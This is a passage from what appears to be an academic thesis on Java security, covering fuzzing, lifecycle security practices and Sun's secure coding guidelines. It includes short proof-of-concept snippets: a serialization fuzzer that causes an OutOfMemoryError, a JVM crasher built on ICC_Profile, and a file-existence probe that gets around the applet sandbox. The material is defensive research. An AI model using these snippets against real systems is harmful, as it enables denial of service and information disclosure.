The method of fuzz testing (fuzzing) helps (Oehlert, 2005) to find areas
in the input value space that cause harm to the application. With the
help of fuzzing reaction of the application to unexpected input data is
tested automatically. In cases where the application exposes a bug while
consuming the input values, fuzzing was successful.
Fuzzing is defined by Johnson as follows:
Definition 25: Fuzzing is a methodology for nding aws in a protocol by
crafting different types of packets for that protocol which contain data that
pushes the protocol's specications to the point of breaking them, and sending
these packets to a system capable of receiving that protocol, and nally monitor-
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ing the results. Fuzzing can take many forms depending on the type of protocol,
and the desired tests (Johnson, 2003).
According to Howard and Lipner (2006) the procedure for fuzzing an
application can be broken down into these tasks:
• Identification of file formats of the application
• Collection of valid input files of the application
• Performing manipulations to the input files
• Inject the file to the application via an input channel (open port, file,
etc.)
Fuzzing can be performed at random (dumb fuzzing) or with knowl-
edge of the file format (smart fuzzing). During this research, we found
several reliability problems in the core classes of the JDK by fuzzing seri-
alized JAVA object representation. By manipulating the serialized form of
objects by smart fuzzing crashes in native code that could be triggered by
remote where found.
It is used to trigger edge cases, which are out of the scope of a valid
specification. Fuzzing is used to tamper the contents of a byte buffer,
which is transferred to the receiving JVM. In scenarios where access to
this byte stream is not given, an attacker cannot manipulate the contents
of the object. An attacker may choose to create objects that are completely
in the valid specifications but that cause resource blocking during object
reconstruction.
Fuzzing programs create minor modifications of valid input values by
slightly modifying the length or value of input parameters. The following
class creates an illegal StringBuffer object that raises an OutOfMemory-
Exception. Reading the object from an ObjectInputStream, while patch-
ing the value of the length field in the character array value of the serial-
ized StringBuffer object modifies the internal structure. A very simple
outline of fuzzing code is shown in Figure 6.4.
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import java.io.*;
import java.util.*;
import java.math.*;
public class WriteInvalidStringBuffer {
public static void main(final String[] a) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream obs = new ObjectOutputStream (bos);
ObjectInputStream oas = null;
obs.writeObject(new StringBuffer("*"));
for (int i = 98; i < 99; i++) {
byte[] oarr = bos.toByteArray();
oarr[i]=(byte) 'l';
oarr[i-1]=(byte) 'l';
ByteArrayInputStream bis = new ByteArrayInputStream(oarr);
try {
oas = new ObjectInputStream(bis);
Object obj = oas.readObject(); // creates OutOfMemoryError
System.out.println("cast to StringBuffer");
StringBuffer b = (StringBuffer) obj;
}
catch (Throwable e) { System.out.println(i+":"+e); }
}
}
}
Figure 6.4: Fuzzing an illegal StringBuffer
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Once an abnormal behavior is detected by fuzzing the relevant code
parts, a more detailed analysis can be performed. By reinjecting the fuzzed
value and stepping through the code with a debugging tool, it is possible
to analyze the data-flow path of the input value to the erroneous code part.
6.8 Security in Project Management activities
The project management activities during software development are re-
sponsible for providing the necessary resources at the right time in the
right dimension. This includes employees, knowledge, hardware, and
other limited resources. Activities, decisions, and other project related
tasks are prioritized and scheduled to reach the project goal in a given
timeframe. In addition to schedule the functional creation of the software
product, the following security related shipping criteria have to be taken
into account by project managers according to Howard and Lipner (2006):
• All personnel are up to date on security training
• All high-priority source code has been reviewed and signed off
• All high priority executable code has been signed off by the test own-
ers
• All threat models have been reevaluated and updated or created
• The attack surface has been reanalyzed and the appropriateness of
the default attack surface has been confirmed
• All documentation has been reviewed for correct security guidance.
6.9 Security in the Deployment Phase
After performing the testing phase successfully, the shipping of the prod-
uct is necessary. The executable program files and the configurations are
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transferred to the target system. From the security perspective, the ship-
ping criteria low risk has to be fulfilled.
The deployment phase is the crucial point in the product lifecycle where
the security policy for the whole product is put into place. The demands
for the own developed parts as well as the privilege requirements of the
third party components have to be combined. The problem is easy to
spot but hard to solve: Too many rights mean to introduce leaks in the
protection of the system, too less rights mean lack of functionality.
Aligning the security settings of an application begins with protecting
the involved network components, includes hardening settings of the op-
erating system and finally the adjustment of the attack surface by setting
up the application configuration.
Howard and Lipner (2006) suggest introducing a Final Security Review
before shipping the product. It builds alongside these activities:
Product team coordination verifies that the security critical issues about
the attack surface and other security related characteristics are well
known before deployment and their risk is evaluated.
Threat model reviews verifies the accuracy and correctness of the security
breaches that were defined early in the development process. An
accurate threat helps to evaluate the risk level the application is ex-
posed to during the production phase.
Unxed security bugs review is an evaluation of the known remaining se-
curity breaches within the application, according to their risk level.
The core decision here is whether to fix a security bug or leave it in
the product in the first place and fix it after shipping by issuing a
later patch. A typical shipping criterion is the marginal additional
risk for the customer by postponing a fix.
Tool-use validation goes a step back in time and validates the tools used
during the product build process. The settings of compilers, make-
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files, and intermediary scripts are verified in accordance to their se-
curity impact. Typical decisions are whether debug flags should be
enabled for easier error tracking or if they expose too much infor-
mation to the user and obfuscation of the code is an appropriate
choice.
Vendors often pre-configure their COTS products and components. Dur-
ing integration tests, it may be observed that the defined security settings
are inappropriate with the derived configuration of the final security re-
view. Therefore, the complete software product, which incorporates own
as well as third-party components needs an integrated least privilege con-
cept.
6.10 Security in the Production Phase
After the product is shipped, it is typically tested in the realistic environ-
ment with a reduced number of pilot customers. From this phase on the
vendor is responsible to support the customers with functional and secu-
rity corrections to the program, also known under the terms x or patch.
In current internet-based scenarios, a fast reaction to these constella-
tions (Howard and Lipner, 2006) is critical:
Mistakes of the development team cannot be prevented totally. The re-
maining problems in the code will be likely be exposed by customers
as they in total will perform a much more realistic coverage test of
the application.
New Vulnerabilities will appear as the software environments follow a con-
stant evolution. The protection mechanism considered as secure
from a current perspective may be the vulnerable spot tomorrow.
Typical examples are cryptographic algorithms that may become a
risk when computing power and attack techniques evolve.
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Changing rules concerning the handling of security incidents puts more
pressure on the organizations than it was in the past. In non-internet
based scenarios applications where mostly exposed to a limited and
controllable user group due to localization, but with IP-based net-
working blocking attackers from the applications is much more dif-
ficult.
6.10.1 Incident response
During the production phase, unknown vulnerabilities are likely to be dis-
covered as customers use the product on a regular basis. Once bugs are
found in the field, such as by independent researchers or malware analy-
sis, these activities have to be established to provide a fast response to the
newly found vulnerabilities (Howard and Lipner, 2006):
• Watch
• Alert and Mobilize
• Access and Stabilize
• Resolve
6.10.2 Security monitoring
Monitoring enables to observe the behavior of all parts of the application,
this includes also external libraries, some which are not known during
the implementation phase. The direct and indirect output channels of the
application (stdin, stdout, CPU usage, etc.) are traced with tools that al-
low recording and analyzing the timing of components. In the case of
integration of COTS libraries, the compliance of these libraries to the se-
curity policy in place can be evaluated. The monitoring activities are also
extremely useful to sensor uncommon events that stem from attack at-
tempts. Therefore, intrusion detection systems attach sensors to appli-
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cations and their input and output channels in order to alert unwanted
states as soon as possible.
6.10.3 Security auditing
Security self-assessment throughout the development lifecycle is useful
but its effects may be limited through the priorities within an enterprise.
Auditing by external testers includes compliance tests how the application
fulfills a set of domain-specific standards such as the german Kreditwesen-
gesetz (BAFIN (Bundesanstalt für Finanzdienstleistungsaufsicht), 1998).
On the technical layer security auditors, which were not involved in the
development perform black box and white box tests to avoid the typical
blindness of developers when testing their own software.
6.11 Summary
This chapter provides a description of the necessary steps to emphasize
the security focus within the lifecycle of a typical software product. They
are applicable for traditional, iterated, and agile process models; the later
provide better chances for feedback and therefore continuous product im-
provement. To document the practical emphasis of this research we as-
sociated the patterns, tools, and findings of this work to the appropriate
phase during product development.

7 Secure Java Programming
Security in information systems has been defined by the Internet Security
Glossary (Shirey, 2007) with three perspectives:
• Measures taken to protect a system
• The condition of a system that results from the establishment and
maintenance of measures to protect the system
• The condition of system resources being free from unauthorized
access and from unauthorized or accidental change, destruction, or
loss to the environment of the program such as the user or the data.
In that sense, secure JAVA programs have to be backed by a set of se-
cure programming principles. These manifest in concrete programming
guidelines. The Sun Security Guidelines (Sun Microsystems, 2002) and
other catalogs with similar intend (McGraw and Felten, 1998) exist.
A guideline formalizes an effective practice to prevent harm. Acting against
the spirit of the guideline potentially causes additional insecurity. Even in
the presence of guidelines, applying suboptimal coding practice is quite
usual, as explained by Gene Spafford in (Messier and Viega, 2003). This
is due to the four types of programmers he identifies:
• Those who are constantly writing buggy code, no matter
what
• Those who can write reasonable code, given coaching
and examples
• Those who write good code most of the time, but who
don't fully realize their limitations
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• Those who really understand the language, the machine
architecture, software engineering, and the application
area, and who can write textbook code on a regular basis
The process of coding programs is not aligned to best practice usage
as not every programmer belongs into the fourth category. Another im-
portant resource during the implementation process causing insecurity
is knowledge. If knowledge in the security domain is missing, the pro-
grammer is not aware to the danger to his program within the productive
environment. This leads to the definition of programmer intent and the
caused interference. The intent of a programmer is expressed by the writ-
ten code. Preventing interference such as damage to the environment of
program is one of the goals of security-aware-programming. Interference
in a security sense may lead to vulnerabilities in the program.
Bannet et al. define these important terms:
Definition 26 (Programmer Intent and Interference): Programmer Intent
is met by a program iff the program has no interference. Interference is dened
as any cross-domain event that the programmer would prevent if she were made
aware of it. A domain is some is some partitioning of the classes (Bannet et al.,
2004).
7.1 Secure Coding Guidelines
Middleware software products have in common that they have to deal
with the following requirements that cause interference. The program-
mer might have not considered these forces while designing the program:
• Separating domains of protection
• Managing different trust levels of code
• Handle unknown users with differing trustworthiness and aggres-
siveness
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• Accept user data via input channels, such as a GUI or object serial-
ization
In this discussion we focus on JAVA based middleware products such
as
• JAVA Runtime Environments
• JAVA Desktop Applications such as JAVA-enabled browsers,
• Activation frameworks like RMI and JEE application servers,
• Persistency middleware used for data storage such as JDBC enabled
databases
The following paragraphs present the secure coding guidelines for a se-
cure design of middleware. We relate each guideline to the security prin-
ciples, as described in Chapter 6.4.1. Furthermore, the resulting threats
from neglecting the guideline and the mitigation using the guideline are
discussed.
These principles can be extracted from the first version of the Secure
coding guidelines for JAVA (JSCG) (Sun Microsystems, 2002):
R1 Careful usage of static fields
R2 Careful usage of static methods
R3 Prefer reduced scope
R4 Limit package definitions
R5 Limit package access
R6 Preference of immutable objects
R7 Filter user supplied data
R8 Secure object serialization
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R9 Avoid native methods
R10 Clear sensitive information
R11 Limit visibility and size of privileged code
R12 Avoid direct usage of internal system packages
All guidelines are analyzed in the following sections and include code
to illustrate the negative effects of forgetting to apply the guideline.
7.1.1 Careful usage of static elds
JAVA as an object-oriented programming language is based on a hierar-
chy of object types and interfaces. Classes may have data fields attached
that are not bound to a particular object instance. These fields are called
static fields. It is a common pattern for application programming to define
fields with public static nal modifiers in order to define constant values.
Global constants are available throughout the classpath, which consists
of the archives of classes that are imported by a particular class loader.
Whenever the final modifier is missing, public static fields may be mod-
ified by every other class throughout the classpath of the application. A
typical class loader hierarchy and delegation is depicted in Figure 7.1.
Threat
Providing non-final static fields can violate the least common mecha-
nism principle. Their visibility allows communication to happen via a com-
mon covert channel introduced by a public static field. As implied by
the nature of public fields, it is not possible to intercept changes to the
values to maintain data integrity such as checks for value range.
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Recommendation
A refactoring to maintain integrity on static fields would include moving
their declaration to a non-modifiable namespace by adding a local field to
the class and define a static public read-only accessor method to the value.
7.1.2 Careful usage of static methods
Methods and fields are bound to a class definition. It is not necessary to
declare an instance of the class to call one of its static methods. Typical
uses of static methods are object factory methods to control the num-
ber and references of instances of the class in order to achieve instance
pooling or to enforce the singleton pattern (Gamma et al., 1995).
Threat
Public static methods of classes loaded by the system class loader are
available throughout the application, which makes them accessible to en-
vironments that are supposed to read but not to alter them.
The class XmlDocument class of the org.apache.xerces.tree pack-
age is part of the JDK. The static methods it exposes allowed to continu-
ously accessing the disk drive of the server running the JVM. When these
static methods are exported to scripting environments, remote clients may
even cause physical harm to the server system (Bachfeld, 2003).
Recommendation
A possible refactoring is to restrict the accessibility a static method.
Therefore, first the responsible programmer should evaluate whether pack-
age or protected scope is sufficient. The class can be refactored by the in-
troduction of the singleton pattern (Fowler, 1999), so an attacker first has
to pass the checks of the guarding factory method with plausible parame-
ters to get a valid object instance.
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7.1.3 Reduced scope
Following the principle of least privilege then every class, field or method
should be evaluated concerning its scope. A method or field is limited in
scope to
• Its own subclasses, by using the protected keyword
• The class itself, by using the private keyword for methods and
fields, which should be only accessible and visible within the names-
pace of the class
• The classes in the same package, which is the default access when
omitting a modifier keyword
Threat
The problem with inappropriate scope lies in the exposure of privileged
code and data to untrusted codebases. Therefore, secret data may leak
may leak out of its protection domain. Public instance fields are accessible
from any code source, which is a disadvantage from a security perspective,
as integrity can be subverted by unchecked data changes.
Recommendation
To enforce security checks on field changes, an aware developer would
choose a field visibility limited to private or package scope and control-
ling reading and writing access to the field with accessor methods. They al-
low interception (see Chapter 2.3.1) to introduce semantic checks of value
changes by invocation of the accessor method. As public entities are ac-
cessible from the entire namespace of an application, it makes sense to
generally limit the access to functionality and data of a class to the lowest
necessary visibility according to the least privilege principle. There may be
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cases where restricting access via the JAVA visibility model is not semanti-
cally adequate because data needs to be individually restricted to selected
entities. In that case, the javax.crypto.SealedObject (Gong, 1999)
class may be an adequate choice as it allows applying cryptographical pro-
tection to selected data.
7.1.4 Limit package denitions
Limiting the definition of packages is a means to avoid insertion of trojan
(Erbschloe, 2004) classes in a trusted name space. The security mecha-
nisms of the JAVA runtime environment can block package definition, if
the JVM runs with an enabled security manager. It only permits package
definition when the appropriate RuntimePermission target "defineClass-
InPackage.ClassName" is granted to a code source.
Threat
A class that is defined by an attacker in an existing package allows read-
ing the data and use the functionality defined in the package via the local
package scope. The attacker may force leakage of private package data
(only known inside the interior scope of the package) to outside locations.
Recommendation
A security policy should not lift the restrictions of package definition to
shared classes such as those of the java.* or org.apache.* packages.
An alternative to block the definition of classes in application packages is
to use the mechanism of sealed jars (Sun Microsystems, 1999a).
7.1.5 Limit package access
The security mechanisms of the JRE allow package access in existing
application classes when a "accessClassInPackage.ClassName" Runtime-
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Permission is granted to the CodeSource that contains the code demand-
ing the access.
Threat
Limiting the access to packages is a means to avoid disclosure of sensitive
information out of a trusted package. Private keys used for encryption or
safe communication as well as technical data about the target system may
leak. This information allows further manipulation of the system such as
disclosure or manipulation of the system memory (Schönefeld, 2003q).
Recommendation
If the access restrictions of the JAVA language often have to be circum-
vented as a typical behavior, then the visibility modifiers of the accessed
classes are likely to be too restrictive. An adjustment of the class visibility
level would revert the circumvention of the access rule enforcement.
7.1.6 Preference of immutable objects
JAVA objects that do not change their state after initialization are called im-
mutable. This is for instance the case for the String, Long, Integer and
other wrapper classes for primitive types within the java.lang package.
Mutable objects in contrast do change their values during their lifecycle,
like the Vector, HashTable, or other container types of the java.util
package.
Threat
Mutable objects that are reachable from untrusted code can be changed
referring their value. An object that is used in different places of an ap-
plication could silently get changed in its internal state by an attacker and
then cause harm at other places of the application because its internal
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state does not comply anymore to the integrity rules after the silent state
change. Non-mutable classes promote the TOCTOU (time to check to
time of usage) anomaly (Dowd et al., 2006). In a TOCTOU situation the
initial values passed to a new instruction to create a new JAVA object may
still conform to the check incorporated by the constructor code. Never-
theless, as mutable objects may change unnoticed via their external ref-
erences the integrity check preconditions are not certain to be constantly
met during the entire lifecycle of the object. A reference of to an internal
field of an object can be changed by code to circumvent integrity checks
after the internal checks have occurred.
Recommendation
To maintain integrity it is helpful to use deep copies of values instead
of object references. From an integrity perspective, it is important to
prevent the unnoticed modification of the internal state of objects. Ob-
jects of mutable types should be cloned before passing them to untrusted
code. Where possible the replacement of mutable classes with immutable
classes prevents unwanted state changes. This precaution applies also to
arrays that are returned to callers. In order to protect the values of an
array or members of container types from unnoticed modification, the
members should be cloned. This also applies to access of arrays from
untrusted sources.
7.1.7 Filter user supplied data
When passing user-supplied parameters to trusted functionality in the
processing logic of a method, the parameter should be cleaned to restrict
the attacker's ability to launch lower layer injection attacks.
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Threat
As described in the OWASP recommendations (Open Web Application
Security Project, 2006) for secure web applications also JAVA application
should be hardened against malicious input from remote clients. If data
sent in by HTTP web forms is not properly cleaned, a remote attacker
could send specially-crafted SQL statements to obtain sensitive informa-
tion, cause a denial of service, and possibly execute arbitrary code on the
system. It has been shown in (Schönefeld, 2004a) and (Schönefeld, 2003l)
how SQL and JDBC clients can be misused to launch command execution
attacks via SQL-aliased JAVA methods.
Recommendation
Cleaning the data received from clients can be achieved by defining reg-
ular expression and transformations that help to test the input data for
valid patterns. This states another example where the interceptor pattern
is helpful, as the request flow of JAVA servlets are interceptable by servlet
filters (Sun Microsystems, 2003g), these allow inspecting the incoming
data before forwarding to business processing.
7.1.8 Secure object serialization
Objects in JAVA can be created via several techniques.
Constructors Calling the constructor is the typical technique for creating
objects.
Cloning Calling the clone creates a copy of the object (if the class decla-
ration allows cloning the object).
Serialization Objects are created by calling the readObject or readExternal
method of a serializable object type. The readObject/readExternal
methods are often referred to as hidden constructors, an attacker may
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choose the created serialized objects to bypass checks that are only
enforced by the constructor methods.
A consistent implementation of a class must enforce the integrity con-
straints for each of these techniques on the same liability level. In ad-
dition, side effects such as blocking behavior should not differ between
these ways to create objects as it can be exploited to provoke resource
blocking. Distributed systems have to exchange information over custom
protocols or standard protocols such as HTTP or JAVA RMI. The systems
exchange messages are technically implemented as JAVA objects. Hier-
archies of objects are transformed recursively to a stream of bytes via the
writeObject method of the serializable class. The transformed object
hierarchies may reference objects more than one time. Serialization as
term was derived from the fact that each transformed object is given a
serial number. This allows sending each individual object only once to
ensure that the object tree on the receiving side represents the sent origi-
nal. Whenever the serialization algorithm meets an object for a repetitive
time, it sends copies a reference identifier to the outbound byte[] array.
This array is transferred to the receiving JVM that rebuilds the original
object by calling the custom or default readObject method of the corre-
sponding class.
Threat
Objects that are used for serialization leave all control mechanisms of the
JVM. As an object is transformed into a byte stream representation, it is
possible to alter the internal state of the logical object by modifying the
bytes of the object stream. This can be misused to cause integrity attacks
as creating unwanted mutations of objects can be created and bypassing
the integrity checks of constructors. A second threat is exploiting func-
tionality on the receiving side by sending objects that trigger a desired
action when the readObject method is executed. This will be discussed
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in depth when analyzing the Uninvited Object antipattern, described in
Chapter 8.5.
An important confidentiality threat due to serialization is the circum-
vention of access rules to private fields. Unprivileged code can read val-
ues of an object send to an accessible instance of the java.io.Object-
OutputStream. A possible attack is to retrieve the private members of
the objects by adding backreferences as a sequence of bytes 0x71 0x00
0x7e 0x00 followed by the field number (Bloch, 2001)) to the stream. By
adding additional calls to the readObject method, a field value declared
as private can finally be read by the attacker.
Recommendation
Using the transient keyword (Horstmann and Cornell, 2002) avoids ex-
posing private data members to the object stream representation. This
implies that these fields have to be rebuilt on the receiving side by an
invocation of the readObject method. This may have negative security
consequences as shown in detail by the Uninvited Object Antipattern de-
scribed in Chapter 8.5. The readObject implementation of the receiving
class has to prevent that an attacker sending an object can cause interfer-
ence that harms the availability of the receiving JVM.
7.1.9 Avoid native methods
Native Methods are a composition of a method stub and a native imple-
mentation of the functionality. The native part is coded in C or C++ and
has to conform to the JNI specifications (Gordon, 1998). JNI code is al-
lowed to access all classes loaded into the JVM.
Threat
Once native code is executed, the JAVA security infrastructure is not able
to introduce checks. The native code is programmed in C and C++, which
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makes it vulnerable to buffer and heap overflows, or other programming
errors. These may allow an attacker to perform an attack resulting in code
injection or complete usurpation.
Sun Microsystems (1999b) advises to use JNI carefully and to be aware
of the consequences:
The JNI is for programmers who must take advantage of platform-
specific functionality outside of the Java Virtual Machine. Be-
cause of this, it is recommended that only experienced pro-
grammers should attempt to write native methods or use the
Invocation API!
Programmers that lack experience tend to introduce more error into
their code. Programming errors, such as a forgotten check for NULL
(Schönefeld, 2003f) in the native parts of the JDK core libraries, can cause
a Denial-Of-Service condition. By crashing the JVM a DoS is performed,
as shown below in Figure 7.2 on the JAVA layer and in Figure 7.3 for the
C layer. The problem is caused in the JAVA code, where the uninitialized
static byte array by is passed with a NULL value to the GetByteArray-
Elements() method of the JNI handle, which is later dereferenced.
import java.awt.color.*;
public class ICC_Again_Crasher {
static byte[] by;
public static void main(String[] args) {
//ICC_Profile i = ICC_Profile.getInstance(by);
ICC_Profile i = ICC_Profile.getInstance
(ColorSpace.CS_LINEAR_RGB);
i.setData(ICC_Profile.icSigCmykData,by);
}
}
Figure 7.2: JAVA code crashing JVM prior JDK 1.4.2_04
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dataP = (*env)->GetByteArrayElements (env, data, 0);
Figure 7.3: C code crashing JVM prior JDK 1.4.2_04
Recommendation
JNI code is implemented in C or C++. This has the consequence that
neither the coding guidelines for JAVA code nor are the typical JAVA de-
velopment tools are sufficient to support a secure JNI development. From
a cost perspective, the developer has to spend more effort and resources
to maintain JNI code secure. As the core JAVA libraries already span a
wide range of functionality the custom JNI code should be analyzed from
a functional perspective whether the task it is was developed for can be
solved by a pure JAVA implementation to avoid the additional cost and
security risks implied by using JNI. It has even been shown by Alliet and
Megacz (2004), that existing native code can be migrated to JAVA bytecode.
This limits security risks to vulnerabilities in operating system calls. As
the resulting bytecode can be controlled by the security manager, the risk
to using is better controllable than the original native code.
7.1.10 Clear sensitive information
Sensitive information may include passwords or other credentials that are
used inside the address space of the JVM to execute local or remote privi-
leged (via RMI or CORBA CSIv2) actions protected by access control.
Threat
Even after code has left the scope of a variable, temporary values may
reside in the object pool of a JVM until the next garbage collection cycle,
which occurs asynchronously. This gives the attacker a time window of at-
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tack to read the value from system memory, in which he may try to access
the value of the credentials by directly accessing the memory areas of the
JVM with debugging tools, such as Sysinternals ProcessExplorer
(Russinovich, 2006) or OllyDbG (Yuschuk, 2006). Both program types
allow reading and modifying memory associated to a native process. Ma-
licious programs like rootkits (Hoglund and Butler, 2005) or trojans (Szor,
2005) with the appropriate access rights also fall into this category.
Recommendation
Strings are immutable objects. Therefore, they cannot be modified or ex-
plicitly destroyed. String destruction is done as part of the object finaliza-
tion done by the garbage collector. It assures that the reference counter of
the objects equals zero before finalizing an object. A common recommen-
dation to remove critical strings immediately from physical system mem-
ory is to use the StringBuffer class instead of String for storing textual
credentials (Van Ham, 2004). This refactoring allows explicit deletion of
the array holding the private information. If the information has to per-
sist within the application, the use of a javax.security.SealedObject
allows protecting the object by applying cryptographical operations to its
serialized representation (IBM Corporation, 2006b).
7.1.11 Limit visibility and size of privileged code
Privileged code is bracketed inside the run-method of a class derived from
java.security.PrivilegedAction. The default access control algo-
rithm responsible for the evaluation of security permissions is the stack
walk. It is responsible to verify that all codebases on the stack have the ap-
propriate permissions to execute the desired action. Executing privileged
code sections is an exception to this rule, which allows executing privi-
leged functionality in a controlled scope. Privileged actions are executed
even if the calling code on the stack is untrusted. The JDK uses privi-
Secure Coding Guidelines 255
leged actions in the classes of the bootclasspath. The core classes need
privileged actions to read certain private property settings or load native
libraries regardless whether the calling code is located in an untrusted
protection domain such as unsigned applets or is a fully trusted applica-
tion. Privileged code blocks may include:
• Access to system properties
• Reading and writing files
• Opening sockets
• Dynamic library loading ( Runtime.getRuntime().loadLibrary)
Untrusted code, which has permission to load a native library, implicitly
needs access to the physical file containing the native library supposed
to be loaded into the JVM. This is also the case, when accessing a re-
source, which is available via HTTP on the net that case needs an explicit
SocketPermission.
Threat
Privileged code sections can be misused by an attacker to force the privi-
leged code to act on his behalf. For example, when the privileged code fails
and the resulting exception exposes internal state of the privileged appli-
cation to the unprivileged code via exceptions. A vulnerability in the JDK
that was found during this research is exposing this problem, it is shown
in Figure 7.4. By constructing an instance of the ICC_Profile class (of
the java.awt.color package) with a filename parameter, a Privile-
gedAction to open the named file is triggered in the run method. When
the action fails because the file does not exist, a java.io.IOException is
thrown. Otherwise, when the file exists, but the contents of the file does
not adhere to the format restrictions of the ICC_Profile class, so that an
IllegalArgumentException is thrown. This behavior can be interpreted
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by unprivileged code like unsigned applets to guess the existence of files
(Schönefeld, 2005a) on the local system running the JAVA browser plugin
(JPI).
private static boolean testFileExistence(String a) {
boolean ret = false;
try {
java.awt.color.ICC_Profile ip =
java.awt.color.ICC_Profile.getInstance(a);
}
catch (java.lang.IllegalArgumentException e) {
e.printStackTrace(); // File exists
return true;
}
catch (java.io.IOException e) {
e.printStackTrace(); // File does not exist
return false;
}
return false;
}
Figure 7.4: Code circumventing sandbox testing file existence
Recommendation
The official coding guidelines for secure JAVA code encourage following
these rules or patterns when coding privileged code:
Minimize privileged parts of control ow to reflect the least privilege secu-
rity principle. In the case of an overlong privileged block antipattern,
this principle is neglected, unprivileged code can take advantage of
the permissions granted to the called class and access restricted re-
source via PrivilegedAction declarations. This is especially dan-
gerous in the case of packages in the boot classpath and the exten-
sion classpath (/lib/ext/) as they are in a trusted protection do-
main.
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Reduced scope of privileged code is important to prevent the execution of
privileged code under the control of an attacker. Malicious code take
advantage of PrivilegedAction implementations inside trusted
CodeSource definitions. When PrivilegedActions are defined with
limited visibility they cannot be exploited by an attacker. This refac-
toring reflects the limited view security principle as defined in Chap-
ter 2.3.2, because it raises the bar for an attacker to exploit the scope
of actions that are useful to manipulate restricted resources.
7.1.12 Avoid direct usage of internal system packages
Using those classes bundled in the JDK with the sun package prefix should
only be considered in special cases with no other alternative. The classes
in the sun.* packages do not belong to the official API maintained by Sun
Microsystems so their interfaces may change in later release or may even
not available in other JDK implementations. As an example is the IBM
implementation of JDK 1.4.2 missing a sun.security.util.DerValue,
which is part of the Sun JRE core classes. Therefore, the stability of classes
sun.* packages and their behavior is not guaranteed to be stable.
Threat
Relying on sun.* packages exposes the application to the potential risks
of silently changing APIs, a problem that creates linking and functional-
ity incompatibilities once the JVM is exchanged. The discussion of sun.*
packages was directed to intended use of these classes. Due to language
bindings such as those offered to SQL clients, internal classes such as
sun.* classes can be called via ALIAS definitions. Therefore, the applica-
tion has to be prepared to block the delegated direct use the sun.* pack-
ages, which was the case with the JDBC exploit in Chapter 8.6 and the
Opera browser vulnerabilities shown in Chapter 8.7.
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Recommendation
Avoiding the sun.* packages is similar to the argumentation against the
use of JNI code. It is recommended by Sun not to use these classes directly
(Sun Microsystems, 1997). Sun classes do provide less stability compared
to the classes in the official java.* namespace. From a cost perspective
the developer has to spend time and effort to check the compatibility for
every version and brand of the JDK he likes to support. Using the version
and vendor dependent sun.* classes contradicts the write once, run every-
where philosophy of JAVA. Similar to JNI, refactoring it should be taken
into account that the JAVA libraries span a wide range of functionality.
Therefore, the use of sun packages should be analyzed from a functional
perspective, whether the task can be solved by an implementation using
classes in the java namespace. The indirect delegation of functionality
(caused by malicious code or reflection) to sun classes can be blocked
by activating a default JAVA security manager that enforces the default
package.access=sun. in the default security policy.
7.2 The version 2.0 of the secure coding guidelines
In 2007 Sun Microsystems introduced the second version of the secure
coding guidelines reflecting to the exposure of JAVA to current attack
methodologies. The emphasis has been put on these topics:
• Accessibility and Extensibility
• Input and Output Parameters
• Classes
• Object Construction
• Serialization and Deserialization
• Standard APIs
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In the “Accessibility and Extensibility” section plausible rules for a se-
cure design of the visibility of methods and fields with classes are pre-
sented. Furthermore reasons are presented where classes should not be
overridable by user code, also how exposed super class behavior may cir-
cumvent the security precautions of a subclass.
The “input and out parameters” part emphasizes the risk of untrusted
input, especially of TOCTOU attacks and encourages to perform access
and plausibility checks on deep copies of untrusted parameters. In addi-
tion, the handling of copies of mutable classes is discussed.
The third section addresses the use of “Classes”, which in detail in-
cludes the problems of non-final static fields, internal state modification
and motivate the use of wrappers that perform checks before passing val-
ues to native methods. The section closes with a description how careless
coding of exceptions can circumvent the protection effort of the security
manager, by exposing otherwise shielded system properties.
The “object construction” discussion recommends treating all paths
that lead towards the creation of a new objects, such as the clone and
readObject methods, with the same security precautions. This prevents
attacks that aim bypassing the checks of the official constructor. An ad-
ditional recommendation is avoidance of overridable methods in the con-
structor, to prevent leaking of the this pointer.
“Serialization and Deserialization” replicates most of the previous dis-
cussion, which involved serialization issues. Most important here is the
consistent state checking behavior of object creation, making the reestric-
tions of he readObject method as difficult to pass as those of the official
constructor.
The “Standard API” section stresses the problem of passing user con-
trolled values to privileged blocks and the danger of bypassing the security
manager with the help of the reflection API and on the immediate class
loader, especially with object instances acquired from untrusted code.
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7.3 Summary
In the previous sections, have shown how absence of basic security guide-
lines in the implementation phase supports the creation of vulnerabilities,
and resulting security threats. The next chapter provides examples, which
illustrate the role of programming antipatterns as a cause for threats and
vulnerabilities.
8 Antipatterns in distributed JAVA components
The presented proactive techniques like Bytecode verification and Code
containment are the foundation for the protection that is enforced by the
JAVA runtime environment. When switching the perspective to the prac-
tical impacts of security it becomes of importance whether particular vul-
nerabilities for a particular implementation exist.
A common source for finding out about vulnerabilities are public data
sources such as the Bugtraq mailing list or a security-oriented website
like securityfocus (SecurityFocus, 2006b), zone-h (Zone-H, 2006), or
heisec (Heise Verlag, 2006). A systematic taxonomy of vulnerabilities
has emerged in the CWE catelog, that describes generic vulnerability types
and the CVE database that list product-specific vulnerabilities.
The vulnerabilities shown in Table 8.1 show the weaknesses that have
been identified and removed from the listed products as result of this re-
search.
These vulnerabilities have in common, that the weakest part of the
system may harm the overall system even when the security bases on a
contained runtime architecture like the standard JAVA Runtime Environ-
ment. Although the JRE is equipped with a well-defined security frame-
work, vulnerabilities inside the trusted system classes endanger the in-
tegrity of the TCB. It was shown that the security level of middleware
products bases relies on the TCB security. Therefore, middleware secu-
rity is compromised by antipatterns. These, as shown before, are caused
by violation of the security coding guidelines. Furthermore, these vulner-
abilities endanger the secure operation of middleware components built
on top of the JRE; these are frameworks such as databases, J2EE applica-
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Date CVE Product Source
2003-05-20 CVE-2004-0723 JRE Schönefeld (2003i)
2003-06-25 CVE-2003-1134 JRE Schönefeld (2003m)
2003-06-25 CVE-2003-1572 Java Media Framework Schönefeld (2003q)
2003-10-05 CVE-2003-0845 JBoss 3 Schönefeld (2003p)
2003-12-16 CVE-2003-1572 Pointbase DB Schönefeld (2003l)
2004-04-05 CVE-2004-0253 Cloudscape DB Schönefeld (2004c)
2004-07-10 CVE-2004-0723 JRE Schönefeld (2004b)
2004-08-05 CVE-2004-2764 JRE Sun Microsystems (2004d)
2004-11-19 CVE-2004-1489 Opera Schönefeld (2004d)
2004-12-31 CVE-2004-2540 JRE Sun Microsystems (2004e)
2005-02-11 CVE-2005-3583 JBoss 4 Schönefeld (2005b)
2006-05-06 CVE-2006-2426 JRE Schönefeld (2004e)
2007-02-12 CVE-2007-4575 OpenOffice Schönefeld (2009a)
2009-02-11 CVE-2009-0794 OpenJDK OpenJDK project (2009)
2009-04-24 CVE-2009-1190 Spring Framework Thomas (2009)
Table 8.1: Identified vulnerabilities
